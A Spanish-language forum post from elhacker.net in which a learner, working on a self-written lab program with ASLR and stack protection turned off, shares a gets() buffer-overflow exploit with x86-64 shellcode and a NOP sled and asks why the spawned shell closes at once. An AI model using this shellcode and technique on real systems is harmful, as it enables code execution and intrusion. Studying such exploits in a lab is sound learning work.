elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Inconveniente al explotar vulnereabilidades de funciones gets() y scanf()?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Inconveniente al explotar vulnereabilidades de funciones gets() y scanf()?  (Leído 3,517 veces)
Ethicalsk

Desconectado Desconectado

Mensajes: 113



Ver Perfil
Inconveniente al explotar vulnereabilidades de funciones gets() y scanf()?
« en: 24 Octubre 2015, 09:05 am »

Hola señores!! En ésta oportunidad estuve leyendo éste thread:

https://foro.elhacker.net/programacion_general/programacion_segura_buffer_overflows_by_strcpy-t95901.0.html

Hasta hace unos días solo entendía como explotar vulnereabilidades de la funcion strcpy(), y ahora estaba aprendiendo a vulnerar otras funciones, otros casos. Es todo muy similar. Para vulnerar el strcat() por ejemplo hay que tener en cuenta la primera parte del string que se concatena con la segunda parte. Si sabemos la dirección de memoria donde se almacena el string, tenemos que sumar el desplazamiento de la primera parte de la cadena digamos, para usar como dirección de retorno.

Por ejemplo, si tenemos éste código:

Código
  1. char buffer[64]="AAAA";
  2. strcat(buffer, argv[1]);

Supongamos hipotéticamente que la dirección de memoria en la que se almacena buffer es 0x00000000. Entonces la dirección de retorno no puede ser 0x00000000, debería ser 0x00000004, ya que sumamos los 4 bytes de desplazamiento de las "A", porque en el código despues de concatenar vamos a tener "AAAAshellcode", y la shellcode empieza recién en 0x00000004.

Bueno, hasta aca todo genial, mi problema es cuando intento vulnerar casos usando gets() o scanf().

En primer lugar, cabe aclarar que todos los ejemplos los uso con ASLR desactivado:
echo 0 > /proc/sys/kernel/randomize_va_space

Les dejo un ejemplo de programa vulnerable:

Código
  1. /* Ejemplo de bof */
  2. /* gets() peligroso */
  3.  
  4. #include <stdio.h>
  5. int main() {
  6.    char buffer[64];
  7.    printf("%p\n\n",buffer);
  8.    gets(buffer); /* Otra ves una funcion peligros */
  9. }

(era la que estaba en el link que mandé)

Compilado de la siguiente forma:

gcc -fno-stack-protector -z execstack -o gets gets.c


Bueno, para explotarla, hice éste exploit: (la shellcode es para ejecutar /bin/dash)

Código
  1. #include <iostream>
  2. #include <fstream>
  3. using namespace std;
  4.  
  5. int main() {
  6.  
  7.    char ret[] = "\x40\xe3\xff\xff\xff\x7f";
  8.  
  9.    //29 bytes shellcode
  10.    char shellcode[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
  11.  
  12.    //71 bytes nops - 29 shellcode = 43 nops
  13.    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  14.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  15.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  16.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  17.                  "\x90\x90\x90";
  18.  
  19.    cout << "Creando exploit\n\n";
  20.    ofstream fichero;
  21.    fichero.open("archivo.txt");
  22.    fichero << shellcode << nops << ret ;
  23.    fichero.close();
  24.    cout << "ya esta!!!\n\n";
  25.    return 0;
  26.  
  27. }

Lo compilo:
g++ -o exploit exploit.cpp

Lo ejecuto:
./exploit

Abro el programa vulnerable con gdb:
gdb gets

Lo corro enviándole el archivo generado por el exploit:
run < archivo.txt

Y obtengo ésta salida:

process 6070 is executing new program: /bin/dash
[Inferior 1 (process 6070) exited normally]
(gdb)

Es decir, RIP se sobreescribió, la shellcode se ejecutó correctamente pero ni bien se ejecuta se cierra digamos, no puedo hacer nada, en ningun momento puedo usar la consola. Probando fuera de gdb, no me da ninguna salida, supongo que pasa lo mismo, se ejecuta y se cierra inmediatamente de forma que no puedo tomar provecho con ésta shellcode... Despues probé con una shellcode para hacer: cat /etc/passwd, y se ejecuta perfectamente tanto dentro como fuera de gdb, se muestra por consola dicho archivo.... Intentando explotar la función scanf() tuvé exactamente el mismo problema que con gets()...

Ahora la pregunta mia es, como puedo hacer para ejecutar y poder usar una terminal sin que se cierre? Tal como lo hice cuando exploté strcpy(), strcat(), etc...  Tal vez no haya que usar un archivo, sino mandar la shellcode cuando las funciones esperan que ingreses el string, pero como hago para meter una shellcode hexadecimal de esa forma?  

Desde ya muchas gracias por ayudar! Saludos.
« Última modificación: 24 Octubre 2015, 09:07 am por Ethicalsk » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Pequeño inconveniente
Foro Libre
ANTRUCK 1 1,855 Último mensaje 10 Agosto 2011, 10:54 am
por Randomize
¿Printf y scanf en funciones? « 1 2 »
Programación C/C++
DickGumshoe 11 7,787 Último mensaje 14 Febrero 2012, 18:19 pm
por rir3760
Problema con funciones scanf() y gets().
Programación C/C++
latinoalfredo 0 1,805 Último mensaje 22 Octubre 2012, 17:45 pm
por latinoalfredo
Utilidad de explotar vulnereabilidades de Stack Overflow en Windows?
Bugs y Exploits
Ethicalsk 4 4,272 Último mensaje 16 Octubre 2015, 23:03 pm
por Ethicalsk
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines